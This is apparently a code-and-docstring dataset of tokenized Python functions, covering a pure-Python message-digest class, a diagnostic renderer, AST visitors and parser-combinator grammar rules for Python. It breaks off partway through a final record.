{"signature": "def __init__(self):", "body": "<EOL>self.length = <NUM_LIT:0><EOL>self.count = [<NUM_LIT:0>, <NUM_LIT:0>]<EOL>self.input = []<EOL>self.init()<EOL>", "docstring": "Initialisation.", "id": "f16497:c0:m0"}
{"signature": "def init(self):", "body": "self.length = <NUM_LIT:0><EOL>self.input = []<EOL>self.H0 = <NUM_LIT><EOL>self.H1 = <NUM_LIT><EOL>self.H2 = <NUM_LIT><EOL>self.H3 = <NUM_LIT><EOL>self.H4 = <NUM_LIT><EOL>", "docstring": "Initialize the message-digest and set all fields to zero.", "id": "f16497:c0:m1"}
{"signature": "def update(self, inBuf):", "body": "leninBuf = len(inBuf)<EOL>index = (self.count[<NUM_LIT:1>] >> <NUM_LIT:3>) & <NUM_LIT><EOL>self.count[<NUM_LIT:1>] = self.count[<NUM_LIT:1>] + (leninBuf << <NUM_LIT:3>)<EOL>if self.count[<NUM_LIT:1>] < (leninBuf << <NUM_LIT:3>):<EOL><INDENT>self.count[<NUM_LIT:0>] = self.count[<NUM_LIT:0>] + <NUM_LIT:1><EOL><DEDENT>self.count[<NUM_LIT:0>] = self.count[<NUM_LIT:0>] + (leninBuf >> <NUM_LIT>)<EOL>partLen = <NUM_LIT:64> - index<EOL>if leninBuf >= partLen:<EOL><INDENT>self.input[index:] = list(inBuf[:partLen])<EOL>self._transform(_bytelist2longBigEndian(self.input))<EOL>i = partLen<EOL>while i + <NUM_LIT> < leninBuf:<EOL><INDENT>self._transform(_bytelist2longBigEndian(list(inBuf[i:i+<NUM_LIT:64>])))<EOL>i = i + <NUM_LIT:64><EOL><DEDENT>else:<EOL><INDENT>self.input = list(inBuf[i:leninBuf])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:0><EOL>self.input = self.input + list(inBuf)<EOL><DEDENT>", "docstring": "Add to the current message.\n\n        Update the md5 object with the string arg. Repeated calls\n        are equivalent to a single call with the concatenation of all\n        the arguments, i.e. m.update(a); m.update(b) is equivalent\n        to m.update(a+b).\n\n        The hash is immediately calculated for all full blocks. The final\n        calculation is made in digest(). It will calculate 1-2 blocks,\n        depending on how much padding we have to add. This allows us to\n        keep an intermediate value for the hash, so that we only need to\n        make minimal recalculation if we call update() to add more data\n        to the hashed string.", "id": "f16497:c0:m3"}
{"signature": "def digest(self):", "body": "H0 = self.H0<EOL>H1 = self.H1<EOL>H2 = self.H2<EOL>H3 = self.H3<EOL>H4 = self.H4<EOL>input = [] + self.input<EOL>count = [] + self.count<EOL>index = (self.count[<NUM_LIT:1>] >> <NUM_LIT:3>) & <NUM_LIT><EOL>if index < <NUM_LIT>:<EOL><INDENT>padLen = <NUM_LIT> - index<EOL><DEDENT>else:<EOL><INDENT>padLen = <NUM_LIT> - index<EOL><DEDENT>padding = ['<STR_LIT>'] + ['<STR_LIT>'] * <NUM_LIT><EOL>self.update(padding[:padLen])<EOL>bits = _bytelist2longBigEndian(self.input[:<NUM_LIT>]) + count<EOL>self._transform(bits)<EOL>digest = _long2bytesBigEndian(self.H0, <NUM_LIT:4>) +_long2bytesBigEndian(self.H1, <NUM_LIT:4>) +_long2bytesBigEndian(self.H2, <NUM_LIT:4>) +_long2bytesBigEndian(self.H3, <NUM_LIT:4>) +_long2bytesBigEndian(self.H4, <NUM_LIT:4>)<EOL>self.H0 = H0<EOL>self.H1 = H1<EOL>self.H2 = H2<EOL>self.H3 = H3<EOL>self.H4 = H4<EOL>self.input = input<EOL>self.count = count<EOL>return digest<EOL>", "docstring": "Terminate the message-digest computation and return digest.\n\n        Return the digest of the strings passed to the update()\n        method so far. This is a 16-byte string which may contain\n        non-ASCII characters, including null bytes.", "id": "f16497:c0:m4"}
{"signature": "def hexdigest(self):", "body": "return '<STR_LIT>'.join([('<STR_LIT>' % ord(c))[-<NUM_LIT:2>:] for c in self.digest()])<EOL>", "docstring": "Terminate and return digest in HEX form.\n\n        Like digest() except the digest is returned as a string of\n        length 32, containing only hexadecimal digits. This may be\n        used to exchange the value safely in email or other non-\n        binary environments.", "id": "f16497:c0:m5"}
{"signature": "def copy(self):", "body": "return copy.deepcopy(self)<EOL>", "docstring": "Return a clone object.\n\n        Return a copy ('clone') of the md5 object. This can be used\n        to efficiently compute the digests of strings that share\n        a common initial substring.", "id": "f16497:c0:m6"}
{"signature": "def reverse(self):", "body": "leftblock = self.left<EOL>rightblock = self.right<EOL>leftindex = self.leftndx<EOL>rightindex = self.rightndx<EOL>for i in range(self.length // <NUM_LIT:2>):<EOL><INDENT>assert leftblock != rightblock or leftindex < rightindex<EOL>(rightblock[rightindex], leftblock[leftindex]) = (<EOL>leftblock[leftindex], rightblock[rightindex])<EOL>leftindex += <NUM_LIT:1><EOL>if leftindex == n:<EOL><INDENT>leftblock = leftblock[RGTLNK]<EOL>assert leftblock is not None<EOL>leftindex = <NUM_LIT:0><EOL><DEDENT>rightindex -= <NUM_LIT:1><EOL>if rightindex == -<NUM_LIT:1>:<EOL><INDENT>rightblock = rightblock[LFTLNK]<EOL>assert rightblock is not None<EOL>rightindex = n - <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "reverse *IN PLACE*", "id": "f16498:c0:m13"}
{"signature": "def __reduce__(self):", "body": "return (type(self), (self.default_factory,), None, None, self.iteritems())<EOL>", "docstring": "__reduce__ must return a 5-tuple as follows:\n\n   - factory function\n   - tuple of args for the factory function\n   - additional state (here None)\n   - sequence iterator (here None)\n   - dictionary iterator (yielding successive (key, value) pairs\n\n   This API is used by pickle.py and copy.py.", "id": "f16498:c2:m5"}
{"signature": "def message(self):", "body": "return self.reason.format(**self.arguments)<EOL>", "docstring": "Returns the formatted message.", "id": "f16500:c0:m1"}
{"signature": "def render(self, only_line=False, colored=False):", "body": "source_line = self.location.source_line().rstrip(\"<STR_LIT:\\n>\")<EOL>highlight_line = bytearray(re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", source_line), \"<STR_LIT:utf-8>\")<EOL>for hilight in self.highlights:<EOL><INDENT>if hilight.line() == self.location.line():<EOL><INDENT>lft, rgt = hilight.column_range()<EOL>highlight_line[lft:rgt] = bytearray(\"<STR_LIT>\", \"<STR_LIT:utf-8>\") * (rgt - lft)<EOL><DEDENT><DEDENT>lft, rgt = self.location.column_range()<EOL>if rgt == lft: <EOL><INDENT>rgt = lft + <NUM_LIT:1><EOL><DEDENT>highlight_line[lft:rgt] = bytearray(\"<STR_LIT>\", \"<STR_LIT:utf-8>\") * (rgt - lft)<EOL>if only_line:<EOL><INDENT>location = \"<STR_LIT>\" % (self.location.source_buffer.name, self.location.line())<EOL><DEDENT>else:<EOL><INDENT>location = str(self.location)<EOL><DEDENT>notes = list(self.notes)<EOL>if self.level != \"<STR_LIT>\":<EOL><INDENT>expanded_location = self.location.expanded_from<EOL>while expanded_location is not None:<EOL><INDENT>notes.insert(<NUM_LIT:0>, Diagnostic(\"<STR_LIT>\",<EOL>\"<STR_LIT>\", {},<EOL>self.location.expanded_from))<EOL>expanded_location = expanded_location.expanded_from<EOL><DEDENT><DEDENT>rendered_notes = reduce(list.__add__, [note.render(only_line, colored)<EOL>for note in notes], [])<EOL>if colored:<EOL><INDENT>if self.level in (\"<STR_LIT:error>\", \"<STR_LIT>\"):<EOL><INDENT>level_color = <NUM_LIT> <EOL><DEDENT>elif self.level == \"<STR_LIT>\":<EOL><INDENT>level_color = <NUM_LIT> <EOL><DEDENT>else: <EOL><INDENT>level_color = <NUM_LIT:30> <EOL><DEDENT>return [<EOL>\"<STR_LIT>\".<EOL>format(location, level_color, self.level, self.message()),<EOL>source_line,<EOL>\"<STR_LIT>\".format(highlight_line.decode(\"<STR_LIT:utf-8>\"))<EOL>] + rendered_notes<EOL><DEDENT>else:<EOL><INDENT>return [<EOL>\"<STR_LIT>\".format(location, self.level, self.message()),<EOL>source_line,<EOL>highlight_line.decode(\"<STR_LIT:utf-8>\")<EOL>] + rendered_notes<EOL><DEDENT>", "docstring": "Returns the human-readable location of the diagnostic in the source,\nthe formatted message, the source line corresponding\nto ``location`` and a line emphasizing the problematic\nlocations in the source line using ASCII art, as a list of lines.\nAppends the result of calling :meth:`render` on ``notes``, if any.\n\nFor example: ::\n\n    <input>:1:8-9: error: cannot add integer and string\n    x + (1 + \"a\")\n         ~ ^ ~~~\n\n:param only_line: (bool) If true, only print line number, not line and column range", "id": "f16500:c0:m2"}
{"signature": "def process(self, diagnostic):", "body": "diagnostic.notes += self._appended_notes<EOL>self.render_diagnostic(diagnostic)<EOL>if diagnostic.level == \"<STR_LIT>\" or(self.all_errors_are_fatal and diagnostic.level == \"<STR_LIT:error>\"):<EOL><INDENT>raise Error(diagnostic)<EOL><DEDENT>", "docstring": "The default implementation of :meth:`process` renders non-fatal\ndiagnostics to ``sys.stderr``, and raises fatal ones as a :class:`Error`.", "id": "f16500:c2:m1"}
{"signature": "@contextmanager<EOL><INDENT>def context(self, *notes):<DEDENT>", "body": "self._appended_notes += notes<EOL>yield<EOL>del self._appended_notes[-len(notes):]<EOL>", "docstring": "A context manager that appends ``note`` to every diagnostic processed by\nthis engine.", "id": "f16500:c2:m2"}
{"signature": "def compare(left, right, compare_locs=False):", "body": "if type(left) != type(right):<EOL><INDENT>return False<EOL><DEDENT>if isinstance(left, ast.AST):<EOL><INDENT>for field in left._fields:<EOL><INDENT>if not compare(getattr(left, field), getattr(right, field)):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if compare_locs:<EOL><INDENT>for loc in left._locs:<EOL><INDENT>if getattr(left, loc) != getattr(right, loc):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL><DEDENT>elif isinstance(left, list):<EOL><INDENT>if len(left) != len(right):<EOL><INDENT>return False<EOL><DEDENT>for left_elt, right_elt in zip(left, right):<EOL><INDENT>if not compare(left_elt, right_elt):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return left == right<EOL><DEDENT>", "docstring": "An AST comparison function. Returns ``True`` if all fields in\n``left`` are equal to fields in ``right``; if ``compare_locs`` is\ntrue, all locations should match as well.", "id": "f16501:m0"}
{"signature": "def generic_visit(self, node):", "body": "for field_name in node._fields:<EOL><INDENT>self.visit(getattr(node, field_name))<EOL><DEDENT>", "docstring": "Called if no explicit visitor function exists for a node.", "id": "f16501:c0:m0"}
{"signature": "def visit(self, obj):", "body": "if isinstance(obj, list):<EOL><INDENT>return [self.visit(elt) for elt in obj]<EOL><DEDENT>elif isinstance(obj, ast.AST):<EOL><INDENT>return self._visit_one(obj)<EOL><DEDENT>", "docstring": "Visit a node or a list of nodes. Other values are ignored", "id": "f16501:c0:m2"}
{"signature": "def generic_visit(self, node):", "body": "for field_name in node._fields:<EOL><INDENT>setattr(node, field_name, self.visit(getattr(node, field_name)))<EOL><DEDENT>return node<EOL>", "docstring": "Called if no explicit visitor function exists for a node.", "id": "f16501:c1:m0"}
{"signature": "def visit(self, obj):", "body": "if isinstance(obj, list):<EOL><INDENT>return list(filter(lambda x: x is not None, map(self.visit, obj)))<EOL><DEDENT>elif isinstance(obj, ast.AST):<EOL><INDENT>return self._visit_one(obj)<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT>", "docstring": "Visit a node or a list of nodes. Other values are ignored", "id": "f16501:c1:m2"}
{"signature": "def action(inner_rule, loc=None):", "body": "def decorator(mapper):<EOL><INDENT>@llrule(loc, inner_rule.expected)<EOL>def outer_rule(parser):<EOL><INDENT>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>if isinstance(result, tuple):<EOL><INDENT>return mapper(parser, *result)<EOL><DEDENT>else:<EOL><INDENT>return mapper(parser, result)<EOL><DEDENT><DEDENT>return outer_rule<EOL><DEDENT>return decorator<EOL>", "docstring": "A decorator returning a function that first runs ``inner_rule`` and then, if its\nreturn value is not None, maps that value using ``mapper``.\n\nIf the value being mapped is a tuple, it is expanded into multiple arguments.\n\nSimilar to attaching semantic actions to rules in traditional parser generators.", "id": "f16502:m1"}
{"signature": "def Eps(value=None, loc=None):", "body": "@llrule(loc, lambda parser: [])<EOL>def rule(parser):<EOL><INDENT>return value<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts no tokens (epsilon) and returns ``value``.", "id": "f16502:m2"}
{"signature": "def Tok(kind, loc=None):", "body": "@llrule(loc, lambda parser: [kind])<EOL>def rule(parser):<EOL><INDENT>return parser._accept(kind)<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a token of kind ``kind`` and returns it, or returns None.", "id": "f16502:m3"}
{"signature": "def Loc(kind, loc=None):", "body": "@llrule(loc, lambda parser: [kind])<EOL>def rule(parser):<EOL><INDENT>result = parser._accept(kind)<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>return result.loc<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a token of kind ``kind`` and returns its location, or returns None.", "id": "f16502:m4"}
{"signature": "def Rule(name, loc=None):", "body": "@llrule(loc, lambda parser: getattr(parser, name).expected(parser))<EOL>def rule(parser):<EOL><INDENT>return getattr(parser, name)()<EOL><DEDENT>return rule<EOL>", "docstring": "A proxy for a rule called ``name`` which may not be yet defined.", "id": "f16502:m5"}
{"signature": "def Expect(inner_rule, loc=None):", "body": "@llrule(loc, inner_rule.expected)<EOL>def rule(parser):<EOL><INDENT>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>expected = reduce(list.__add__, [rule.expected(parser) for rule in parser._errrules])<EOL>expected = list(sorted(set(expected)))<EOL>if len(expected) > <NUM_LIT:1>:<EOL><INDENT>expected = \"<STR_LIT>\".join([\"<STR_LIT:U+002CU+0020>\".join(expected[<NUM_LIT:0>:-<NUM_LIT:1>]), expected[-<NUM_LIT:1>]])<EOL><DEDENT>elif len(expected) == <NUM_LIT:1>:<EOL><INDENT>expected = expected[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>expected = \"<STR_LIT>\"<EOL><DEDENT>error_tok = parser._tokens[parser._errindex]<EOL>error = diagnostic.Diagnostic(<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>{\"<STR_LIT>\": error_tok.kind, \"<STR_LIT>\": expected},<EOL>error_tok.loc)<EOL>parser.diagnostic_engine.process(error)<EOL><DEDENT>return result<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that executes ``inner_rule`` and emits a diagnostic error if it returns None.", "id": "f16502:m6"}
{"signature": "def Seq(first_rule, *rest_of_rules, **kwargs):", "body": "@llrule(kwargs.get(\"<STR_LIT>\", None), first_rule.expected)<EOL>def rule(parser):<EOL><INDENT>result = first_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>results = [result]<EOL>for rule in rest_of_rules:<EOL><INDENT>result = rule(parser)<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>results.append(result)<EOL><DEDENT>return tuple(results)<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a sequence of tokens satisfying ``rules`` and returns a tuple\ncontaining their return values, or None if the first rule was not satisfied.", "id": "f16502:m7"}
{"signature": "def SeqN(n, *inner_rules, **kwargs):", "body": "@action(Seq(*inner_rules), loc=kwargs.get(\"<STR_LIT>\", None))<EOL>def rule(parser, *values):<EOL><INDENT>return values[n]<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a sequence of tokens satisfying ``rules`` and returns\nthe value returned by rule number ``n``, or None if the first rule was not satisfied.", "id": "f16502:m8"}
{"signature": "def Alt(*inner_rules, **kwargs):", "body": "loc = kwargs.get(\"<STR_LIT>\", None)<EOL>expected = lambda parser: reduce(list.__add__, map(lambda x: x.expected(parser), inner_rules))<EOL>if loc is not None:<EOL><INDENT>@llrule(loc, expected, cases=len(inner_rules))<EOL>def rule(parser):<EOL><INDENT>data = parser._save()<EOL>for idx, inner_rule in enumerate(inner_rules):<EOL><INDENT>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>parser._restore(data, rule=inner_rule)<EOL><DEDENT>else:<EOL><INDENT>rule.covered[idx] = True<EOL>return result<EOL><DEDENT><DEDENT>return unmatched<EOL><DEDENT><DEDENT>else:<EOL><INDENT>@llrule(loc, expected, cases=len(inner_rules))<EOL>def rule(parser):<EOL><INDENT>data = parser._save()<EOL>for inner_rule in inner_rules:<EOL><INDENT>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>parser._restore(data, rule=inner_rule)<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>return unmatched<EOL><DEDENT><DEDENT>return rule<EOL>", "docstring": "A rule that expects a sequence of tokens satisfying one of ``rules`` in sequence\n(a rule is satisfied when it returns anything but None) and returns the return\nvalue of that rule, or None if no rules were satisfied.", "id": "f16502:m9"}
{"signature": "def Opt(inner_rule, loc=None):", "body": "return Alt(inner_rule, Eps(), loc=loc)<EOL>", "docstring": "Shorthand for ``Alt(inner_rule, Eps())``", "id": "f16502:m10"}
{"signature": "def Star(inner_rule, loc=None):", "body": "@llrule(loc, lambda parser: [])<EOL>def rule(parser):<EOL><INDENT>results = []<EOL>while True:<EOL><INDENT>data = parser._save()<EOL>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>parser._restore(data, rule=inner_rule)<EOL>return results<EOL><DEDENT>results.append(result)<EOL><DEDENT><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a sequence of tokens satisfying ``inner_rule`` zero or more times,\nand returns the returned values in a :class:`list`.", "id": "f16502:m11"}
{"signature": "def Plus(inner_rule, loc=None):", "body": "@llrule(loc, inner_rule.expected)<EOL>def rule(parser):<EOL><INDENT>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>results = [result]<EOL>while True:<EOL><INDENT>data = parser._save()<EOL>result = inner_rule(parser)<EOL>if result is unmatched:<EOL><INDENT>parser._restore(data, rule=inner_rule)<EOL>return results<EOL><DEDENT>results.append(result)<EOL><DEDENT><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a sequence of tokens satisfying ``inner_rule`` one or more times,\nand returns the returned values in a :class:`list`.", "id": "f16502:m12"}
{"signature": "def Newline(loc=None):", "body": "@llrule(loc, lambda parser: [\"<STR_LIT>\"])<EOL>def rule(parser):<EOL><INDENT>result = parser._accept(\"<STR_LIT>\")<EOL>if result is unmatched:<EOL><INDENT>return result<EOL><DEDENT>return []<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts token of kind ``newline`` and returns an empty list.", "id": "f16502:m14"}
{"signature": "def Oper(klass, *kinds, **kwargs):", "body": "@action(Seq(*map(Loc, kinds)), loc=kwargs.get(\"<STR_LIT>\", None))<EOL>def rule(parser, *tokens):<EOL><INDENT>return klass(loc=tokens[<NUM_LIT:0>].join(tokens[-<NUM_LIT:1>]))<EOL><DEDENT>return rule<EOL>", "docstring": "A rule that accepts a sequence of tokens of kinds ``kinds`` and returns\nan instance of ``klass`` with ``loc`` encompassing the entire sequence\nor None if the first token is not of ``kinds[0]``.", "id": "f16502:m15"}
{"signature": "@action(Expect(Alt(Newline(),<EOL>Rule(\"<STR_LIT>\"),<EOL>SeqN(<NUM_LIT:0>, Rule(\"<STR_LIT>\"), Newline()))))<EOL><INDENT>def single_input(self, body):<DEDENT>", "body": "loc = None<EOL>if body != []:<EOL><INDENT>loc = body[<NUM_LIT:0>].loc<EOL><DEDENT>return ast.Interactive(body=body, loc=loc)<EOL>", "docstring": "single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE", "id": "f16502:c2:m12"}
{"signature": "@action(Expect(SeqN(<NUM_LIT:0>, Star(Alt(Newline(), Rule(\"<STR_LIT>\"))), Tok(\"<STR_LIT>\"))))<EOL><INDENT>def file_input(parser, body):<DEDENT>", "body": "body = reduce(list.__add__, body, [])<EOL>loc = None<EOL>if body != []:<EOL><INDENT>loc = body[<NUM_LIT:0>].loc<EOL><DEDENT>return ast.Module(body=body, loc=loc)<EOL>", "docstring": "file_input: (NEWLINE | stmt)* ENDMARKER", "id": "f16502:c2:m13"}
{"signature": "@action(Seq(Loc(\"<STR_LIT:@>\"), List(Tok(\"<STR_LIT>\"), \"<STR_LIT:.>\", trailing=False),<EOL>Opt(BeginEnd(\"<STR_LIT:(>\", Opt(Rule(\"<STR_LIT>\")), \"<STR_LIT:)>\",<EOL>empty=_empty_arglist)),<EOL>Loc(\"<STR_LIT>\")))<EOL><INDENT>def decorator(self, at_loc, idents, call_opt, newline_loc):<DEDENT>", "body": "root = idents[<NUM_LIT:0>]<EOL>dec_loc = root.loc<EOL>expr = ast.Name(id=root.value, ctx=None, loc=root.loc)<EOL>for ident in idents[<NUM_LIT:1>:]:<EOL><INDENT>dot_loc = ident.loc.begin()<EOL>dot_loc.begin_pos -= <NUM_LIT:1><EOL>dec_loc = dec_loc.join(ident.loc)<EOL>expr = ast.Attribute(value=expr, attr=ident.value, ctx=None,<EOL>loc=expr.loc.join(ident.loc),<EOL>attr_loc=ident.loc, dot_loc=dot_loc)<EOL><DEDENT>if call_opt:<EOL><INDENT>call_opt.func = expr<EOL>call_opt.loc = dec_loc.join(call_opt.loc)<EOL>expr = call_opt<EOL><DEDENT>return at_loc, expr<EOL>", "docstring": "decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE", "id": "f16502:c2:m15"}
{"signature": "@action(Seq(Rule(\"<STR_LIT>\"), Alt(Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"))))<EOL><INDENT>def decorated(self, decorators, classfuncdef):<DEDENT>", "body": "classfuncdef.at_locs = list(map(lambda x: x[<NUM_LIT:0>], decorators))<EOL>classfuncdef.decorator_list = list(map(lambda x: x[<NUM_LIT:1>], decorators))<EOL>classfuncdef.loc = classfuncdef.loc.join(decorators[<NUM_LIT:0>][<NUM_LIT:0>])<EOL>return classfuncdef<EOL>", "docstring": "decorated: decorators (classdef | funcdef)", "id": "f16502:c2:m16"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Tok(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"), Loc(\"<STR_LIT::>\"), Rule(\"<STR_LIT>\")))<EOL><INDENT>def funcdef__26(self, def_loc, ident_tok, args, colon_loc, suite):<DEDENT>", "body": "return ast.FunctionDef(name=ident_tok.value, args=args, returns=None,<EOL>body=suite, decorator_list=[],<EOL>at_locs=[], keyword_loc=def_loc, name_loc=ident_tok.loc,<EOL>colon_loc=colon_loc, arrow_loc=None,<EOL>loc=def_loc.join(suite[-<NUM_LIT:1>].loc))<EOL>", "docstring": "(2.6, 2.7) funcdef: 'def' NAME parameters ':' suite", "id": "f16502:c2:m17"}
{"signature": "@action(Alt(Seq(Star(SeqN(<NUM_LIT:0>, varargslist__26_1, Tok(\"<STR_LIT:U+002C>\"))),<EOL>Alt(varargslist__26_2, varargslist__26_3)),<EOL>Seq(List(varargslist__26_1, \"<STR_LIT:U+002C>\", trailing=True),<EOL>varargslist__26_4)))<EOL><INDENT>def varargslist__26(self, fparams, args):<DEDENT>", "body": "for fparam, default_opt in fparams:<EOL><INDENT>if default_opt:<EOL><INDENT>equals_loc, default = default_opt<EOL>args.equals_locs.append(equals_loc)<EOL>args.defaults.append(default)<EOL><DEDENT>elif len(args.defaults) > <NUM_LIT:0>:<EOL><INDENT>error = diagnostic.Diagnostic(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", {},<EOL>fparam.loc, [args.args[-<NUM_LIT:1>].loc.join(args.defaults[-<NUM_LIT:1>].loc)])<EOL>self.diagnostic_engine.process(error)<EOL><DEDENT>args.args.append(fparam)<EOL><DEDENT>def fparam_loc(fparam, default_opt):<EOL><INDENT>if default_opt:<EOL><INDENT>equals_loc, default = default_opt<EOL>return fparam.loc.join(default.loc)<EOL><DEDENT>else:<EOL><INDENT>return fparam.loc<EOL><DEDENT><DEDENT>if args.loc is None:<EOL><INDENT>args.loc = fparam_loc(*fparams[<NUM_LIT:0>]).join(fparam_loc(*fparams[-<NUM_LIT:1>]))<EOL><DEDENT>elif len(fparams) > <NUM_LIT:0>:<EOL><INDENT>args.loc = args.loc.join(fparam_loc(*fparams[<NUM_LIT:0>]))<EOL><DEDENT>return args<EOL>", "docstring": "(2.6, 2.7)\nvarargslist: ((fpdef ['=' test] ',')*\n              ('*' NAME [',' '**' NAME] | '**' NAME) |\n              fpdef ['=' test] (',' fpdef ['=' test])* [','])", "id": "f16502:c2:m22"}
{"signature": "@action(List(Rule(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=True))<EOL><INDENT>def fplist(self, elts):<DEDENT>", "body": "return ast.Tuple(elts=elts, ctx=None, loc=None)<EOL>", "docstring": "fplist: fpdef (',' fpdef)* [',']", "id": "f16502:c2:m26"}
{"signature": "@action(Seq(Rule(\"<STR_LIT>\"), Alt(expr_stmt_2, expr_stmt_3)))<EOL><INDENT>def expr_stmt(self, lhs, rhs):<DEDENT>", "body": "if isinstance(rhs, ast.AugAssign):<EOL><INDENT>if isinstance(lhs, ast.Tuple) or isinstance(lhs, ast.List):<EOL><INDENT>error = diagnostic.Diagnostic(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", {},<EOL>rhs.op.loc, [lhs.loc])<EOL>self.diagnostic_engine.process(error)<EOL><DEDENT>else:<EOL><INDENT>rhs.target = self._assignable(lhs)<EOL>rhs.loc = rhs.target.loc.join(rhs.value.loc)<EOL>return rhs<EOL><DEDENT><DEDENT>elif rhs is not None:<EOL><INDENT>rhs.targets = list(map(self._assignable, [lhs] + rhs.targets))<EOL>rhs.loc = lhs.loc.join(rhs.value.loc)<EOL>return rhs<EOL><DEDENT>else:<EOL><INDENT>return ast.Expr(value=lhs, loc=lhs.loc)<EOL><DEDENT>", "docstring": "(2.6, 2.7, 3.0, 3.1)\nexpr_stmt: testlist (augassign (yield_expr|testlist) |\n                     ('=' (yield_expr|testlist))*)\n(3.2-)\nexpr_stmt: testlist_star_expr (augassign (yield_expr|testlist) |\n                     ('=' (yield_expr|testlist_star_expr))*)", "id": "f16502:c2:m29"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Alt(print_stmt_1, print_stmt_2, print_stmt_3)))<EOL><INDENT>def print_stmt(self, print_loc, stmt):<DEDENT>", "body": "stmt.keyword_loc = print_loc<EOL>if stmt.loc is None:<EOL><INDENT>stmt.loc = print_loc<EOL><DEDENT>else:<EOL><INDENT>stmt.loc = print_loc.join(stmt.loc)<EOL><DEDENT>return stmt<EOL>", "docstring": "(2.6-2.7)\nprint_stmt: 'print' ( [ test (',' test)* [','] ] |\n                      '>>' test [ (',' test)+ [','] ] )", "id": "f16502:c2:m33"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), List(Rule(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=True)))<EOL><INDENT>def del_stmt(self, stmt_loc, exprs):<EOL><DEDENT>", "body": "return ast.Delete(targets=[self._assignable(expr, is_delete=True) for expr in exprs],<EOL>loc=stmt_loc.join(exprs[-<NUM_LIT:1>].loc), keyword_loc=stmt_loc)<EOL>", "docstring": "del_stmt: 'del' exprlist", "id": "f16502:c2:m34"}
{"signature": "@action(Loc(\"<STR_LIT>\"))<EOL><INDENT>def pass_stmt(self, stmt_loc):<DEDENT>", "body": "return ast.Pass(loc=stmt_loc, keyword_loc=stmt_loc)<EOL>", "docstring": "pass_stmt: 'pass", "id": "f16502:c2:m35"}
{"signature": "@action(Loc(\"<STR_LIT>\"))<EOL><INDENT>def break_stmt(self, stmt_loc):<DEDENT>", "body": "return ast.Break(loc=stmt_loc, keyword_loc=stmt_loc)<EOL>", "docstring": "break_stmt: 'break", "id": "f16502:c2:m36"}
{"signature": "@action(Loc(\"<STR_LIT>\"))<EOL><INDENT>def continue_stmt(self, stmt_loc):<DEDENT>", "body": "return ast.Continue(loc=stmt_loc, keyword_loc=stmt_loc)<EOL>", "docstring": "continue_stmt: 'continue", "id": "f16502:c2:m37"}
{"signature": "@action(Rule(\"<STR_LIT>\"))<EOL><INDENT>def yield_stmt(self, expr):<DEDENT>", "body": "return ast.Expr(value=expr, loc=expr.loc)<EOL>", "docstring": "yield_stmt: yield_expr", "id": "f16502:c2:m39"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Rule(\"<STR_LIT>\")))<EOL><INDENT>def import_name(self, import_loc, names):<DEDENT>", "body": "return ast.Import(names=names,<EOL>keyword_loc=import_loc, loc=import_loc.join(names[-<NUM_LIT:1>].loc))<EOL>", "docstring": "import_name: 'import' dotted_as_names", "id": "f16502:c2:m42"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Alt(import_from_3, import_from_4, import_from_7),<EOL>Loc(\"<STR_LIT>\"), Alt(import_from_5,<EOL>Seq(Loc(\"<STR_LIT:(>\"), Rule(\"<STR_LIT>\"), Loc(\"<STR_LIT:)>\")),<EOL>import_from_6)))<EOL><INDENT>def import_from(self, from_loc, module_name, import_loc, names):<DEDENT>", "body": "(dots_loc, dots_count), dotted_name_opt = module_name<EOL>module_loc = module = None<EOL>if dotted_name_opt:<EOL><INDENT>module_loc, module = dotted_name_opt<EOL><DEDENT>lparen_loc, names, rparen_loc = names<EOL>loc = from_loc.join(names[-<NUM_LIT:1>].loc)<EOL>if rparen_loc:<EOL><INDENT>loc = loc.join(rparen_loc)<EOL><DEDENT>if module == \"<STR_LIT>\":<EOL><INDENT>self.add_flags([x.name for x in names])<EOL><DEDENT>return ast.ImportFrom(names=names, module=module, level=dots_count,<EOL>keyword_loc=from_loc, dots_loc=dots_loc, module_loc=module_loc,<EOL>import_loc=import_loc, lparen_loc=lparen_loc, rparen_loc=rparen_loc,<EOL>loc=loc)<EOL>", "docstring": "(2.6, 2.7)\nimport_from: ('from' ('.'* dotted_name | '.'+)\n              